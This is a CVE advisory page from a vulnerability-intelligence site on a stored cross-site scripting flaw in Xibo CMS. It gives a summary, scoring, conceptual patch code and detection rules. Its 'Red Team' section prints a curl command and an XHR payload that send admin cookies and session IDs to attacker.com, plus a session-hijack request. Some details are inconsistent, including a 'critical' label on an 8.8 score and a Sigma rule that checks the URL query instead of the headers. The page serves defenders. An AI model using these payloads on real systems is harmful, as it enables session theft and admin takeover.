☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-29022

CVE-2024-29022 Cross-Site Scripting in Xibo
📅 PUBLISHED: 2024-04-12 21:04 UTC 🔄 UPDATED: 2026-10-09 05:43 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.70%
👁️
0.70% probability
17.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-29022 is a critical stored cross-site scripting (XSS) vulnerability in Xibo, an open-source Digital Signage platform. The flaw resides in the improper sanitization of HTTP request headers when stored in session and display tables. An attacker can inject a malicious script via these headers, which is then executed in the context of the CMS admin interface. This allows for session hijacking, exfiltration of session IDs and User Agents, and unauthorized access to display management functions. The vulnerability has a CVSS score of 8.8, indicating high severity. Patches are available in versions 3.3.10 and 4.0.9, with additional patches for older, unsupported versions.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) - No special conditions are required.
  • Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
  • User Interaction (UI): Required (R) - The victim must visit a crafted page or interact with the injected script.
  • Scope (S): Changed (C) - The impact extends beyond the vulnerable component.
  • Confidentiality (C): High (H) - Session IDs and User Agents can be exfiltrated.
  • Integrity (I): High (H) - An attacker can modify session data or inject malicious content.
  • Availability (A): High (H) - An attacker could disrupt display operations.

Threat Level: Critical. The combination of network attack vector, low complexity, and high impact makes this vulnerability highly exploitable for session hijacking and data exfiltration.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (CWE-79) in the Xibo CMS. The application fails to sanitize certain HTTP request headers before storing them in the session and display tables. When an admin user views the session management page or the display grid, the stored headers are rendered without proper encoding, allowing the execution of arbitrary JavaScript.

Attack Flow:

  1. An attacker crafts a malicious HTTP request to the Xibo CMS, injecting a JavaScript payload into a vulnerable header (e.g., User-Agent, Referer, or custom headers).
  2. The CMS stores this header value in the session or display database table.
  3. When an administrator accesses the session management page or display grid, the stored header is rendered in the HTML without sanitization.
  4. The injected script executes in the admin's browser, allowing the attacker to:
    • Exfiltrate session IDs and User Agents.
    • Hijack active sessions.
    • Perform actions on behalf of the admin (e.g., modify displays, create new users).
    • Steal cookies or perform further XSS attacks.

Affected Components:

  • Session management page (displays active sessions and their headers).
  • Display grid (lists displays and their associated data).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Storing request header without sanitization
$session->user_agent = $_SERVER['HTTP_USER_AGENT'];
$session->save();

// Rendering stored header without escaping
echo "<td>" . $session->user_agent . "</td>";

Patched Code (Conceptual):

// Sanitizing the header before storage
$session->user_agent = htmlspecialchars($_SERVER['HTTP_USER_AGENT'], ENT_QUOTES, 'UTF-8');
$session->save();

// Rendering with proper escaping
echo "<td>" . htmlspecialchars($session->user_agent, ENT_QUOTES, 'UTF-8') . "</td>";

The patch ensures that all stored header values are HTML-encoded before being rendered, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to a vulnerable Xibo CMS instance (version < 3.3.10 or < 4.0.9).
  • Ability to send crafted HTTP requests to the CMS.

Exploitation Steps:

  1. Craft Malicious Request: Use curl to send a request with a malicious User-Agent header.
    curl -X GET "http://target-xibo-cms/some-endpoint" \
    -H "User-Agent: <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>"
    
  2. Trigger Storage: The CMS stores the malicious header in the session table.
  3. Wait for Admin Interaction: An administrator visits the session management page.
  4. Payload Execution: The injected script executes, exfiltrating session data to the attacker's server.
  5. Session Hijacking: Use the stolen session ID to impersonate the admin.
    curl -X GET "http://target-xibo-cms/admin" \
    -H "Cookie: PHPSESSID=stolen_session_id"
    

Advanced Payload:

// Exfiltrate session ID and User Agent
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://attacker.com/exfil?session=' + document.cookie + '&ua=' + navigator.userAgent, true);
xhr.send();

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual User-Agent strings containing JavaScript or HTML tags.
  • Alert on requests with suspicious headers (e.g., <script>, onerror=, javascript:).
  • Use WAF rules to block requests with XSS patterns in headers.

Hunting:

  • Search logs for requests with User-Agent containing <script> or onload.
  • Review session table entries for encoded or suspicious header values.
  • Check for outbound connections to unknown IPs from the CMS server.

Mitigation:

  • Apply the patch immediately (upgrade to 3.3.10 or 4.0.9).
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

Network IOCs:

  • Outbound HTTP requests to attacker-controlled domains from the CMS server.
  • Suspicious User-Agent strings containing JavaScript code.
  • Unusual session IDs or multiple sessions from the same IP.

Host IOCs:

  • Modified session table entries with HTML/JavaScript content.
  • Unexpected files in the CMS webroot (e.g., backdoors).
  • Unauthorized admin accounts or changes to display configurations.

Log IOCs:

  • Web server logs showing requests with XSS patterns in headers.
  • Application logs indicating failed validation attempts.
  • Error logs with script execution errors.

Detection Engineering

YARA Rule

rule CVE_2024_29022_XSS_Header_Injection {
    meta:
        description = "Detects XSS payloads in HTTP headers targeting Xibo CMS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-29022"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: XSS Header Injection in Xibo CMS
id: cve-2024-29022
status: experimental
description: Detects XSS payloads in HTTP headers targeting Xibo CMS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in headers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-29022 XSS Header Injection in Xibo CMS"; flow:to_server; content:"User-Agent"; nocase; http_header; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Xibo CMS to version 3.3.10 or 4.0.9.
  2. Apply patches for older versions (2.3 and 1.8) if upgrade is not possible.
  3. Implement WAF rules to block XSS patterns in HTTP headers.
  4. Enable CSP headers to restrict script execution.

Long-term Measures:

  • Conduct regular security audits of the CMS.
  • Implement input validation and output encoding for all user-supplied data.
  • Monitor for unusual session activity and header anomalies.
  • Keep the CMS and all dependencies up to date.

Workarounds:

  • No known workarounds exist; patching is required.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-29022/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.